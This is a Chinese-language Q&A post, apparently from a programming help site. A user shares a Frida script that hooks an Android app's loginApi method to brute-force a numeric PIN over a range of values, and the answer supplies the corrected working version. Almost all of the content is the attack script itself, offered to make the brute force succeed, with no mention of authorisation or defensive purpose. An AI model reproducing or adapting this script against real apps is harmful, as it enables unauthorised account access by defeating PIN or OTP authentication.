问题描述
private fun loginApi(phone: String,pin: String) {
if (firebase_token.isEmpty()) {
//
}else {
showDialog()
//
// Code to call api and perform authentication
}
我尝试了下面的代码,但没有用。
Java.perform(function () {
var OTPActivity = Java.use('com.example.example.Getstarted.FragmentOtpVerification');
OTPActivity.loginApi.overload("java.lang.String","java.lang.String").implementation = function(phone_no,pin){
for(var i=1140; i<1151; i++)
{
send(i);
var my_phone = string_class.$new('/*Number over here*/');
var my_pin = string_class.$new(i);
var result = this.loginApi(my_phone,my_pin);
console.log(result);
}
console.log('Done:');
};
});
我正在尝试使用这种方法进行暴力破解。任何帮助将不胜感激。
解决方法
我仅通过操作 Int 到 String 的转换语句就设法暴力破解了该方法。重新编辑的代码如下所示:
Java.perform(function () {
var OTPActivity = Java.use('com.example.example.Getstarted.FragmentOtpVerification');
OTPActivity.loginApi.overload("java.lang.String","java.lang.String").implementation = function(phone_no,pin){
for(var i=1140; i<1151; i++)
{
send(i);
var my_phone = string_class.$new('/*Number over here*/');
var my_pin = i + ""; /* Changed over here. */
var result = this.loginApi(my_phone,my_pin);
console.log(result);
}
console.log('Done:');
};
});